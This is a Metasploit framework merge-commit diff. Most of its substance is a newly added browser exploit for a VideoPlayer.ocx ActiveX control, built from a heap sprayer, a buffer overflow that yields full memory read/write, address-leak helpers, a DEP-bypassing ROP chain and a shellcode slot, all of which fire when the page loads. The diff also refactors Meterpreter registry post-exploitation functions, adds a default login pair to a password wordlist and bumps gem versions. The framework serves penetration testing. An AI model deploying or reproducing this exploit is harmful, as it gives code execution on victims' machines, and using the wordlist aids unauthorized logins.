Merge pull request #5 from jvazquez-r7/land_3323
Update with rapid7 master changes. I'll take a further look at this module and add version support to pick the best exploit path for differing tomcat versions.bug/bundler_fix
commit
5b65811fb2
|
@ -25,7 +25,6 @@ script:
|
|||
- git diff --exit-code && bundle exec rake $RAKE_TASKS
|
||||
sudo: false
|
||||
rvm:
|
||||
- '1.9.3'
|
||||
- '2.1'
|
||||
|
||||
notifications:
|
||||
|
|
14
Gemfile.lock
14
Gemfile.lock
|
@ -14,7 +14,7 @@ PATH
|
|||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
railties
|
||||
rb-readline
|
||||
rb-readline-r7
|
||||
recog (~> 1.0)
|
||||
robots
|
||||
rubyzip (~> 1.1)
|
||||
|
@ -22,9 +22,9 @@ PATH
|
|||
tzinfo
|
||||
metasploit-framework-db (4.11.0.pre.dev)
|
||||
activerecord (>= 3.2.21, < 4.0.0)
|
||||
metasploit-credential (~> 0.13.19)
|
||||
metasploit-credential (~> 0.14.0)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
metasploit_data_models (~> 0.22.8)
|
||||
metasploit_data_models (~> 0.23.0)
|
||||
pg (>= 0.11)
|
||||
metasploit-framework-pcap (4.11.0.pre.dev)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
|
@ -112,10 +112,10 @@ GEM
|
|||
metasploit-concern (0.3.0)
|
||||
activesupport (~> 3.0, >= 3.0.0)
|
||||
railties (< 4.0.0)
|
||||
metasploit-credential (0.13.19)
|
||||
metasploit-credential (0.14.0)
|
||||
metasploit-concern (~> 0.3.0)
|
||||
metasploit-model (~> 0.29.0)
|
||||
metasploit_data_models (~> 0.22.8)
|
||||
metasploit_data_models (~> 0.23.0)
|
||||
pg
|
||||
railties (< 4.0.0)
|
||||
rubyntlm
|
||||
|
@ -123,7 +123,7 @@ GEM
|
|||
metasploit-model (0.29.0)
|
||||
activesupport
|
||||
railties (< 4.0.0)
|
||||
metasploit_data_models (0.22.8)
|
||||
metasploit_data_models (0.23.0)
|
||||
activerecord (>= 3.2.13, < 4.0.0)
|
||||
activesupport
|
||||
arel-helpers
|
||||
|
@ -172,7 +172,7 @@ GEM
|
|||
rdoc (~> 3.4)
|
||||
thor (>= 0.14.6, < 2.0)
|
||||
rake (10.4.2)
|
||||
rb-readline (0.5.2)
|
||||
rb-readline-r7 (0.5.2.0)
|
||||
rdoc (3.12.2)
|
||||
json (~> 1.4)
|
||||
recog (1.0.16)
|
||||
|
|
4
LICENSE
4
LICENSE
|
@ -32,10 +32,6 @@ Copyright: 2003-2010 Mark Borgerding
|
|||
2009-2012 H D Moore <hdm[at]rapid7.com>
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: external/ruby-lorcon/*
|
||||
Copyright: 2005, dragorn and Joshua Wright
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: external/source/exploits/IE11SandboxEscapes/*
|
||||
Copyright: James Forshaw, 2014
|
||||
License: GPLv3
|
||||
|
|
|
@ -0,0 +1,126 @@
|
|||
var Exploit = function () {
|
||||
// create its vulnerable ActiveX object (as HTMLObjectElement)
|
||||
this.obj = document.createElement("object");
|
||||
this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");
|
||||
// perform controlled memwrite to 0x1111f010: typed array header is at
|
||||
// 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with
|
||||
// 0x00000001 0x00000004 0x00000040 0x1111f030 0x00
|
||||
// The first 3 dwords are sideeffects due to the code we abuse for the
|
||||
// controlled memcpy
|
||||
this.whereAddress = 0x1111f010;
|
||||
this.memory = null;
|
||||
this.addresses = new Object();
|
||||
this.sprayer = null;
|
||||
this.informer = null;
|
||||
this.sc = "<%=shellcode%>";
|
||||
};
|
||||
|
||||
Exploit.prototype.run = function() {
|
||||
CollectGarbage();
|
||||
this.sprayer = new Sprayer();
|
||||
this.sprayer.spray();
|
||||
|
||||
this.memory = this.doCorruption();
|
||||
|
||||
//alert(this.memory.length.toString(16))
|
||||
if (this.memory.length != 0x7fffffff){
|
||||
//alert("Cannot change Uint32Array length");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// now we could even repair the change we did with memcpy ...
|
||||
|
||||
this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress);
|
||||
var leakSuccess = this.leakAddresses();
|
||||
|
||||
if (leakSuccess != 0) {
|
||||
//alert("Cannot leak required address to build the ROP chain");
|
||||
return leakSuccess;
|
||||
}
|
||||
|
||||
var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length);
|
||||
ropBuilder.buildRop();
|
||||
|
||||
// manipulate object data to gain EIP control with "Play" method
|
||||
var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26];
|
||||
this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call
|
||||
|
||||
// eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */
|
||||
this.obj.Play()
|
||||
};
|
||||
|
||||
Exploit.prototype.prepareOverflow = function() {
|
||||
// prepare buffer with address we want to write to
|
||||
var ptrBuf = "";
|
||||
// fill buffer: length = relative pointer address - buffer start + pointer
|
||||
// offset
|
||||
while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" }
|
||||
ptrBuf += this.dword2str(this.whereAddress);
|
||||
|
||||
return ptrBuf;
|
||||
};
|
||||
|
||||
Exploit.prototype.doCorruption = function() {
|
||||
var ptrBuf = this.prepareOverflow();
|
||||
|
||||
// trigger: overflow buffer and overwrite the pointer value after buffer
|
||||
this.obj.SetText(ptrBuf, 0, 0);
|
||||
//alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068")
|
||||
|
||||
// use overwritten pointer after buffer with method "SetFontName" to conduct
|
||||
// memory write. We overwrite a typed array's header length to 0x40 and let
|
||||
// its buffer point to the next typed array header at 0x1111f030 (see above)
|
||||
this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE
|
||||
|
||||
|
||||
if (this.sprayer.find() == -1){
|
||||
//alert("cannot find corrupted Uint32Array");
|
||||
return -1
|
||||
}
|
||||
|
||||
// modify subsequent Uint32Array to be able to RW all process memory
|
||||
this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length
|
||||
this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem
|
||||
|
||||
// our memory READWRITE interface :)
|
||||
return this.sprayer.fullMemory;
|
||||
};
|
||||
|
||||
Exploit.prototype.leakAddresses = function() {
|
||||
this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj);
|
||||
|
||||
this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj);
|
||||
|
||||
// check if we have the image of VideoPlayer.ocx
|
||||
// check for MZ9000 header and "Vide" string at offset 0x6a000
|
||||
if (this.memory[this.addresses['base'] / 4] != 0x905a4d ||
|
||||
this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){
|
||||
//alert("Cannot find VideoPlayer.ocx base or its version is wrong");
|
||||
return -1;
|
||||
}
|
||||
//alert(this.addresses['base'].toString(16))
|
||||
|
||||
// get VirtualAlloc from imports of VideoPlayer.ocx
|
||||
this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4];
|
||||
// memcpy is available inside VideoPlayer.ocx
|
||||
this.addresses['memcpy'] = this.addresses['base'] + 0x15070;
|
||||
//alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16))
|
||||
|
||||
scBuf = new Uint8Array(this.sc.length);
|
||||
for (n=0; n < this.sc.length; n++){
|
||||
scBuf[n] = this.sc.charCodeAt(n);
|
||||
}
|
||||
|
||||
this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf);
|
||||
|
||||
return 0;
|
||||
};
|
||||
|
||||
// dword to little endian string
|
||||
Exploit.prototype.dword2str = function(dword) {
|
||||
var str = "";
|
||||
for (var n=0; n < 4; n++){
|
||||
str += String.fromCharCode((dword >> 8 * n) & 0xff);
|
||||
}
|
||||
return str;
|
||||
};
|
|
@ -0,0 +1,52 @@
|
|||
var Informer = function(infArray, mem, ref) {
|
||||
this.infoLeakArray = infArray;
|
||||
this.memoryArray = mem;
|
||||
this.referenceAddress = ref;
|
||||
};
|
||||
|
||||
// Calculate VideoPlayer.ocx base
|
||||
Informer.prototype.leakVideoPlayerBase = function(videoPlayerObj) {
|
||||
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
|
||||
//alert(mem[0x11120020/4].toString(16))
|
||||
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
|
||||
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
|
||||
var heapPtrVideoplayer = this.memoryArray[objPtr/4 + 25]; // deref HTMLObjectElement + 0x64
|
||||
// deref heap pointer containing VideoPlayer.ocx pointer
|
||||
var videoplayerPtr = this.memoryArray[heapPtrVideoplayer/4];
|
||||
var base = videoplayerPtr - 0x6b3b0; // calculate base
|
||||
|
||||
return base;
|
||||
};
|
||||
|
||||
// Calculate VideoPlayer object addres
|
||||
Informer.prototype.leakVideoPlayerAddress = function(videoPlayerObj) {
|
||||
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
|
||||
//alert(mem[0x11120020/4].toString(16))
|
||||
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
|
||||
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
|
||||
|
||||
return objPtr;
|
||||
};
|
||||
|
||||
// Calculate the shellcode address
|
||||
Informer.prototype.leakShellcodeAddress = function(shellcodeBuffer) {
|
||||
this.infoLeakArray[0] = shellcodeBuffer;
|
||||
// therefore, leak array element at 0x11120020 (typed array header of
|
||||
// Uint8Array containing shellcode) ...
|
||||
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
|
||||
// ...and deref array element + 0x1c (=> leak shellcode's buffer address)
|
||||
var shellcodeAddr = this.memoryArray[(elemPtr/4) + 7]
|
||||
|
||||
return shellcodeAddr;
|
||||
};
|
||||
|
||||
|
||||
Informer.prototype.leakRopAddress = function(ropArray) {
|
||||
this.infoLeakArray[0] = ropArray
|
||||
// leak array element at 0x11120020 (typed array header)
|
||||
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
|
||||
// deref array element + 0x1c (leak rop's buffer address)
|
||||
var ropAddr = this.memoryArray[(elemPtr/4) + 7] // payload address
|
||||
|
||||
return ropAddr;
|
||||
};
|
|
@ -0,0 +1,38 @@
|
|||
var RopBuilder = function(informer, addresses, scLength) {
|
||||
this.rop = new Uint32Array(0x1000);
|
||||
this.ropAddress = informer.leakRopAddress(this.rop);
|
||||
this.base = addresses['base'];
|
||||
this.virtualAlloc = addresses['virtualAlloc'];
|
||||
this.memcpy = addresses['memcpy'];
|
||||
this.scAddr = addresses['shellcode'];
|
||||
this.scLength = scLength;
|
||||
};
|
||||
|
||||
// Build the ROP chain to bypass DEP
|
||||
RopBuilder.prototype.buildRop = function() {
|
||||
// ROP chain (rets in comments are omitted)
|
||||
// we perform:
|
||||
// (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX)
|
||||
// memcpy(EAX, shellcode, shellcodeLen)
|
||||
// (void(*)())EAX()
|
||||
var offs = 0x30/4; // offset to chain after CALL [EAX+0x30]
|
||||
this.rop[0] = this.base + 0x1ff6; // ADD ESP, 0x30;
|
||||
this.rop[offs + 0x0] = this.base + 0x1ea1e; // XCHG EAX, ESP; <-- first gadget called
|
||||
this.rop[offs + 0x1] = this.virtualAlloc; // allocate RWX mem (address avail. in EAX)
|
||||
this.rop[offs + 0x2] = this.base + 0x10e9; // POP ECX; => pop the value at offs + 0x7
|
||||
this.rop[offs + 0x3] = 0; // lpAddress
|
||||
this.rop[offs + 0x4] = 0x4000; // dwSize (0x4000)
|
||||
this.rop[offs + 0x5] = 0x1000; // flAllocationType (MEM_COMMIT)
|
||||
this.rop[offs + 0x6] = 0x40; // flProtect (PAGE_EXECUTE_READWRITE)
|
||||
this.rop[offs + 0x7] = this.ropAddress + (offs+0xe)*4; // points to memcpy's dst param (*2)
|
||||
this.rop[offs + 0x8] = this.base + 0x1c743; // MOV [ECX], EAX; => set dst to RWX mem
|
||||
this.rop[offs + 0x9] = this.base + 0x10e9; // POP ECX;
|
||||
this.rop[offs + 0xa] = this.ropAddress + (offs+0xd)*4; // points to (*1) in chain
|
||||
this.rop[offs + 0xb] = this.base + 0x1c743; // MOV [ECX], EAX; => set return to RWX mem
|
||||
this.rop[offs + 0xc] = this.memcpy;
|
||||
this.rop[offs + 0xd] = 0xffffffff; // (*1): ret addr to RWX mem filled at runtime
|
||||
this.rop[offs + 0xe] = 0xffffffff; // (*2): dst for memcpy filled at runtime
|
||||
this.rop[offs + 0xf] = this.scAddr; // shellcode src addr to copy to RWX mem (param2)
|
||||
this.rop[offs + 0x10] = this.scLength; // length of shellcode (param3)
|
||||
};
|
||||
|
|
@ -0,0 +1,58 @@
|
|||
var Sprayer = function () {
|
||||
// amount of arrays to create on the heap
|
||||
this.nrArrays = 0x1000;
|
||||
// size of data in one array block: 0xefe0 bytes =>
|
||||
// subract array header (0x20) and space for typed array headers (0x1000)
|
||||
// from 0x10000
|
||||
this.arrSize = (0x10000-0x20-0x1000)/4;
|
||||
// heap array container will hold our heap sprayed data
|
||||
this.arr = new Array(this.nrArrays);
|
||||
// use one buffer for all typed arrays
|
||||
this.intArrBuf = new ArrayBuffer(4);
|
||||
this.corruptedArray = null;
|
||||
this.corruptedArrayNext = null;
|
||||
};
|
||||
|
||||
// Spray the heap with array data blocks and subsequent typed array headers
|
||||
// of type Uint32Array
|
||||
Sprayer.prototype.spray = function() {
|
||||
var k = 0;
|
||||
while(k < this.nrArrays) {
|
||||
// create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data
|
||||
// aligned at 0xXXXX0020)
|
||||
this.arr[k] = new Array(this.arrSize);
|
||||
|
||||
// fill remaining page (0x1000) after array data with headers of
|
||||
// "jscript9!Js::TypedArray<unsigned int>" (0x55 * 0x30 = 0xff0) as a
|
||||
// typed array header has the size of 0x30. 0x10 bytes are left empty
|
||||
for(var i = 0; i < 0x55; i++){
|
||||
// headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,...
|
||||
this.arr[k][i] = new Uint32Array(this.intArrBuf, 0, 1);
|
||||
}
|
||||
|
||||
// tag the array's last element
|
||||
this.arr[k][this.arrSize - 1] = 0x12121212;
|
||||
k += 1;
|
||||
}
|
||||
};
|
||||
|
||||
// Find the corrupted Uint32Array (typed array)
|
||||
Sprayer.prototype.find = function() {
|
||||
var k = 0;
|
||||
|
||||
while(k < this.nrArrays - 1) {
|
||||
for(var i = 0; i < 0x55-1; i++){
|
||||
if(this.arr[k][i][0] != 0){
|
||||
// address of jscript9!Js::TypedArray<unsigned int>::`vftable'
|
||||
// alert("0x" + arr[k][i][0].toString(16))
|
||||
this.corruptedArray = this.arr[k][i];
|
||||
this.corruptedArrayNext = this.arr[k+1];
|
||||
this.fullMemory = this.arr[k][i+1];
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
k++;
|
||||
}
|
||||
|
||||
return -1;
|
||||
};
|
|
@ -0,0 +1,11 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<script src="js/exploit.js"></script>
|
||||
<script src="js/sprayer.js"></script>
|
||||
<script src="js/informer.js"></script>
|
||||
<script src="js/rop_builder.js"></script>
|
||||
</head>
|
||||
<body onload="e = new Exploit(); e.run();">
|
||||
</body>
|
||||
</html>
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -1334,10 +1334,12 @@ def stdapi_net_socket_tcp_shutdown(request, response):
|
|||
channel.shutdown(how)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _wreg_close_key(hkey):
|
||||
ctypes.windll.advapi32.RegCloseKey(hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_close_key(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
result = ctypes.windll.advapi32.RegCloseKey(hkey)
|
||||
_wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value'])
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
|
@ -1372,11 +1374,9 @@ def stdapi_registry_delete_value(request, response):
|
|||
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_key(request, response):
|
||||
def _wreg_enum_key(request, response, hkey):
|
||||
ERROR_MORE_DATA = 0xea
|
||||
ERROR_NO_MORE_ITEMS = 0x0103
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
name = (ctypes.c_char * 4096)()
|
||||
index = 0
|
||||
tries = 0
|
||||
|
@ -1399,10 +1399,22 @@ def stdapi_registry_enum_key(request, response):
|
|||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_value(request, response):
|
||||
def stdapi_registry_enum_key(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _wreg_enum_key(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_key_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _wreg_enum_key(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
def _wreg_enum_value(request, response, hkey):
|
||||
ERROR_MORE_DATA = 0xea
|
||||
ERROR_NO_MORE_ITEMS = 0x0103
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
name = (ctypes.c_char * 4096)()
|
||||
name_sz = ctypes.c_uint32()
|
||||
index = 0
|
||||
|
@ -1426,6 +1438,20 @@ def stdapi_registry_enum_value(request, response):
|
|||
index += 1
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _wreg_enum_value(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_value_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _wreg_enum_value(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_load_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
|
||||
|
@ -1434,16 +1460,22 @@ def stdapi_registry_load_key(request, response):
|
|||
result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_open_key(request, response):
|
||||
def _wreg_open_key(request):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
||||
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
||||
handle_id = ctypes.c_void_p()
|
||||
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS:
|
||||
return error_result_windows(), response
|
||||
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
|
||||
return error_result_windows(), 0
|
||||
return ERROR_SUCCESS, handle_id.value
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_open_key(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
response += tlv_pack(TLV_TYPE_HKEY, hkey)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
|
@ -1467,9 +1499,7 @@ def stdapi_registry_query_class(request, response):
|
|||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_query_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
def _query_value(request, response, hkey):
|
||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
||||
value_type = ctypes.c_uint32()
|
||||
|
@ -1496,8 +1526,20 @@ def stdapi_registry_query_value(request, response):
|
|||
return error_result_windows(), response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_set_value(request, response):
|
||||
def stdapi_registry_query_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _query_value(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_query_value_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _query_value(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
def _set_value(request, response, hkey):
|
||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
||||
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
|
||||
|
@ -1505,6 +1547,20 @@ def stdapi_registry_set_value(request, response):
|
|||
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_set_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _set_value(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_set_value_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _set_value(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_unload_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
|
|
|
@ -5,3 +5,4 @@ root owaspbwa
|
|||
ADMIN ADMIN
|
||||
xampp xampp
|
||||
tomcat s3cret
|
||||
QCC QLogic66
|
||||
|
|
|
@ -11,7 +11,7 @@
|
|||
#
|
||||
# It's strongly recommended to check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema.define(:version => 20150205192745) do
|
||||
ActiveRecord::Schema.define(:version => 20150212214222) do
|
||||
|
||||
create_table "api_keys", :force => true do |t|
|
||||
t.text "token"
|
||||
|
@ -454,6 +454,7 @@ ActiveRecord::Schema.define(:version => 20150205192745) do
|
|||
t.text "info"
|
||||
end
|
||||
|
||||
add_index "services", ["host_id", "port", "proto"], :name => "index_services_on_host_id_and_port_and_proto", :unique => true
|
||||
add_index "services", ["name"], :name => "index_services_on_name"
|
||||
add_index "services", ["port"], :name => "index_services_on_port"
|
||||
add_index "services", ["proto"], :name => "index_services_on_proto"
|
||||
|
|
|
@ -1,525 +0,0 @@
|
|||
#include "Lorcon.h"
|
||||
#include "ruby.h"
|
||||
|
||||
/*
|
||||
self.license = GPLv2;
|
||||
*/
|
||||
|
||||
/*
|
||||
This is a derivative of the tx.c sample included with lorcon:
|
||||
http://802.11ninja.net/lorcon/
|
||||
|
||||
lorcon is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
lorcon is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with lorcon; if not, write to the Free Software
|
||||
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||
|
||||
Copyright (c) 2005 dragorn and Joshua Wright
|
||||
|
||||
*/
|
||||
|
||||
/*
|
||||
Lots of code borrowed from Tom Wambold's pylorcon:
|
||||
http://pylorcon.googlecode.com/ - tom5760[at]gmail.com
|
||||
*/
|
||||
|
||||
/*
|
||||
All ruby-lorcon/rubyisms are by Rapid7, Inc (C) 2006-2007
|
||||
http://metasploit.com/ - msfdev[at]metasploit.com
|
||||
*/
|
||||
|
||||
VALUE mLorcon;
|
||||
VALUE cDevice;
|
||||
|
||||
VALUE lorcon_get_version(VALUE self) {
|
||||
return INT2NUM(tx80211_getversion());
|
||||
}
|
||||
|
||||
VALUE lorcon_cap_to_list(int cap) {
|
||||
VALUE list;
|
||||
list = rb_ary_new();
|
||||
|
||||
if ((cap & TX80211_CAP_SNIFF) != 0)
|
||||
rb_ary_push(list, rb_str_new2("SNIFF"));
|
||||
|
||||
if ((cap & TX80211_CAP_TRANSMIT) != 0)
|
||||
rb_ary_push(list, rb_str_new2("TRANSMIT"));
|
||||
|
||||
if ((cap & TX80211_CAP_SEQ) != 0)
|
||||
rb_ary_push(list, rb_str_new2("SEQ"));
|
||||
|
||||
if ((cap & TX80211_CAP_BSSTIME) != 0)
|
||||
rb_ary_push(list, rb_str_new2("BSSTIME"));
|
||||
|
||||
if ((cap & TX80211_CAP_FRAG) != 0)
|
||||
rb_ary_push(list, rb_str_new2("FRAG"));
|
||||
|
||||
if ((cap & TX80211_CAP_CTRL) != 0)
|
||||
rb_ary_push(list, rb_str_new2("CTRL"));
|
||||
|
||||
if ((cap & TX80211_CAP_DURID) != 0)
|
||||
rb_ary_push(list, rb_str_new2("DURID"));
|
||||
|
||||
if ((cap & TX80211_CAP_SNIFFACK) != 0)
|
||||
rb_ary_push(list, rb_str_new2("SNIFFACK"));
|
||||
|
||||
if ((cap & TX80211_CAP_SELFACK) != 0)
|
||||
rb_ary_push(list, rb_str_new2("SELFACK"));
|
||||
|
||||
if ((cap & TX80211_CAP_TXNOWAIT) != 0)
|
||||
rb_ary_push(list, rb_str_new2("TXNOWAIT"));
|
||||
|
||||
if ((cap & TX80211_CAP_DSSSTX) != 0)
|
||||
rb_ary_push(list, rb_str_new2("DSSSTX"));
|
||||
|
||||
if ((cap & TX80211_CAP_OFDMTX) != 0)
|
||||
rb_ary_push(list, rb_str_new2("OFDMTX"));
|
||||
|
||||
if ((cap & TX80211_CAP_MIMOTX) != 0)
|
||||
rb_ary_push(list, rb_str_new2("MIMOTX"));
|
||||
|
||||
if ((cap & TX80211_CAP_SETRATE) != 0)
|
||||
rb_ary_push(list, rb_str_new2("SETRATE"));
|
||||
|
||||
if ((cap & TX80211_CAP_SETMODULATION) != 0)
|
||||
rb_ary_push(list, rb_str_new2("SETMODULATION"));
|
||||
|
||||
if ((cap & TX80211_CAP_NONE) != 0)
|
||||
rb_ary_push(list, rb_str_new2("NONE"));
|
||||
|
||||
return list;
|
||||
}
|
||||
|
||||
|
||||
static VALUE lorcon_driver_list(VALUE self) {
|
||||
VALUE list;
|
||||
VALUE hash;
|
||||
|
||||
struct tx80211_cardlist *cards = NULL;
|
||||
int i;
|
||||
|
||||
list = rb_hash_new();
|
||||
cards = tx80211_getcardlist();
|
||||
if (cards == NULL) {
|
||||
return(Qnil);
|
||||
}
|
||||
|
||||
for (i = 1; i < cards->num_cards; i++) {
|
||||
hash = rb_hash_new();
|
||||
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(cards->cardnames[i]));
|
||||
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(cards->descriptions[i]));
|
||||
rb_hash_aset(hash, rb_str_new2("capabilities"), lorcon_cap_to_list(cards->capabilities[i]));
|
||||
rb_hash_aset(list, rb_str_new2(cards->cardnames[i]), hash);
|
||||
}
|
||||
|
||||
tx80211_freecardlist(cards);
|
||||
return(list);
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_get_channel(VALUE self) {
|
||||
struct rldev *rld;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
return INT2NUM(tx80211_getchannel(&rld->in_tx));
|
||||
}
|
||||
|
||||
static VALUE lorcon_device_set_channel(VALUE self, VALUE channel) {
|
||||
struct rldev *rld;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
tx80211_setchannel(&rld->in_tx, NUM2INT(channel));
|
||||
return INT2NUM(tx80211_getchannel(&rld->in_tx));
|
||||
}
|
||||
|
||||
void lorcon_device_free(struct rldev *rld) {
|
||||
if (tx80211_getmode(&rld->in_tx) >= 0) {
|
||||
tx80211_close(&rld->in_tx);
|
||||
}
|
||||
free(&rld->in_tx);
|
||||
}
|
||||
|
||||
|
||||
static VALUE lorcon_device_get_mode(VALUE self) {
|
||||
struct rldev *rld;
|
||||
int mode;
|
||||
